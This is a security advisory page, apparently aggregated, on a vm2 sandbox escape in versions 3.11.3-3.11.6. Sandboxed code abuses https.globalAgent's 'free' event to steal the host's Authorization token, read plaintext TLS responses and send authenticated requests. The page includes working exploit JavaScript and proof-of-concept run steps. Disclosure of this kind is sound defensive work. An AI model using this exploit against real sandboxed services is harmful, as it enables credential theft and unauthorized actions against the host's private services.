Title

vm2 3.11.3 through 3.11.6 HTTPS Credential Exposure via globalAgent

Summary

vm2 versions 3.11.3 through 3.11.6 expose the host process's real https.globalAgent to sandboxed code when a NodeVM is explicitly configured to allow require('https'). The builtin loader wraps host modules in a read-only proxy, but method calls such as Agent.prototype.on() are forwarded to the underlying host object, so sandbox code can register a listener for the agent's 'free' event. When an unrelated host HTTPS request releases a pooled connection, the listener receives the live host request options and the host TLSSocket, allowing sandboxed code to read the host's Authorization header and private destination host/port, attach a data listener to the released socket and read subsequent host response bodies in plaintext, and issue attacker-chosen authenticated requests using the stolen credentials. The issue is fixed in 3.11.7.

The builtin loader wraps host modules in a read-only proxy, but method calls such as Agent.prototype.on() are forwarded to the underlying host object, so sandbox code can register a listener for the agent\u0027s \u0027free\u0027 event. When an unrelated host HTTPS request releases a pooled connection, the listener receives the live host request options and the host TLSSocket, allowing sandboxed code to read the host\u0027s Authorization header and private destination host/port, attach a data listener to the released socket and read subsequent host response bodies in plaintext, and issue attacker-chosen authenticated requests using the stolen credentials. The issue is fixed in 3.11.7."

Vulnerability from github – Published: 2026-10-01 15:38 – Updated: 2026-10-01 15:38

Summary

vm2 exposes host HTTPS credentials and TLS traffic through globalAgent

Details

Summary

vm2 3.11.6 exposes the host process's real https.globalAgent when a NodeVM is explicitly allowed to require https. The module is wrapped as read-only, but calls to methods on the shared agent still mutate the host object. Sandbox code can register a free listener and receive host request options and the host TLS socket whenever an unrelated host HTTPS request releases a pooled connection.

In a contained test, sandbox code allowed only the https builtin:

read the host request's bearer token from the agent event;
attached a data listener to the released host TLS socket and read the next host response body in plaintext;
learned the private service host and port;
sent an attacker-chosen authenticated POST using the stolen host token; and
received confirmation that the service accepted the action.

The host application never passed its credentials, request, response, socket, or destination into the sandbox. They crossed the boundary solely because vm2 exposes the process-global HTTPS agent instead of a sandbox-local network module instance.

Details

The vulnerable boundary is the default builtin loader in lib/builtin.js:

builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));

The wrapper recursively exposes properties of the actual host module. For ordinary constants, a read-only proxy can be sufficient. It is not sufficient for process-global EventEmitter objects whose methods mutate internal state.

https.globalAgent is the default agent used by host HTTPS requests when the host does not supply a separate agent. The agent is shared by the entire Node.js thread. Its free event supplies both:

the TLSSocket that has just completed a request and is available for reuse; and
the connection/request options used to place that socket in the pool.

The following sandbox code registers directly on that host singleton:

const https = require('https');

https.globalAgent.on('free', (socket, options) => {
  const token = options.headers.Authorization;
  const destination = {host: options.host, port: options.port};

  socket.on('data', chunk => {
    capturedHostTraffic += chunk.toString('utf8');
  });

  const req = https.request({
    hostname: destination.host,
    port: destination.port,
    path: '/sandbox-action',
    method: 'POST',
    headers: {Authorization: token},
    agent: false,
  });
  req.end(attackerChosenBody);
});

Calling .on() is not a property assignment, so the read-only handler forwards it to the real host Agent. When the host later emits free, vm2 invokes the sandbox callback with bridged views of the live options and socket. Reading nested header values succeeds. Calling socket.on() also forwards to the real socket, letting the sandbox observe the decrypted bytes emitted during a later request on that connection.

The complete exploit flow is:

attacker-controlled NodeVM program with https allowed
  -> subscribe to the real host https.globalAgent
  -> unrelated host HTTPS request completes
  -> shared Agent emits live socket and request options into sandbox callback
  -> sandbox reads host Authorization token and private destination
  -> sandbox attaches to the released TLSSocket
  -> next host response is exposed in plaintext
  -> sandbox reuses stolen token for attacker-chosen authenticated request

This is a distinct residual of the same process-wide observability class for which other host builtins are rejected. The current dangerous-builtin filter does not classify https as process-global because the module also has legitimate sandbox network APIs. A safe implementation must avoid exposing the host singleton, such as by providing a sandbox-local module facade and sandbox-local Agent.

PoC

The attached PoC uses only a temporary certificate and a loopback HTTPS server.

Install Node.js and OpenSSL.
In the attached poc directory, run:

bash npm install --ignore-scripts node poc.js

A vulnerable result includes all of the following markers:
leaked host token: Bearer VM2_HOST_AUTHORIZATION_f7952a;
captured host response: VM2_PRIVATE_HOST_RESPONSE_47b2d6;
attacker-chosen authenticated action: VM2_SANDBOX_ACTION_8d14c3;
server decision: ACTION_ACCEPTED.

The first host request carries the token. After it completes, the sandbox callback receives the token and independently sends the action request. The second host request reuses the pooled TLS connection; the sandbox's listener reads that response from the live socket. The PoC fails unless both confidentiality and integrity effects occur.

Impact

This is cross-boundary exposure and misuse of a process-global authenticated network resource.

An attacker who can submit code to a NodeVM with https allowed can, when the host uses the default HTTPS agent:

steal Authorization, Cookie, API-key, proxy-authorization, and other sensitive request options;
discover private service hostnames and ports used only by host code;
read plaintext response headers and bodies on reused TLS connections;
steal client-certificate, private-key, passphrase, CA, or session-related options when the host supplies them through request options;
perform authenticated actions using stolen bearer credentials;
write to or destroy live host sockets, disrupting or corrupting unrelated traffic;
cross tenant boundaries when multiple sandboxes and host workloads share one process.

The sandbox already has the intentional ability to make its own HTTPS requests. It does not intentionally have authority to observe or reuse the host application's credentials and connections. A host that always supplies a separate private Agent for every sensitive request avoids this specific singleton, but that is not the default behavior.

RHSA-2026:76788

Vulnerability from csaf_redhat - Published: 2026-10-06 13:09 - Updated: 2026-10-16 06:51

Summary

Red Hat Security Advisory: Red Hat Developer Hub 1.10.5 Plugin Catalog GA plugins release.

Severity

Critical

Scope

51 vulnerabilities in this advisory, including CVE-2026-92940.

CVE-2026-92940

A flaw was found in vm2. When a sandbox is configured to permit HTTPS requests, it improperly exposes the host process's network connection manager to sandboxed code. An attacker running untrusted code within the sandbox can exploit this flaw to intercept pooled network connections released by the host application. This allows the attacker to capture sensitive authentication credentials, inspect plaintext communication, and issue unauthorized requests using the stolen credentials.

8.3 (High)
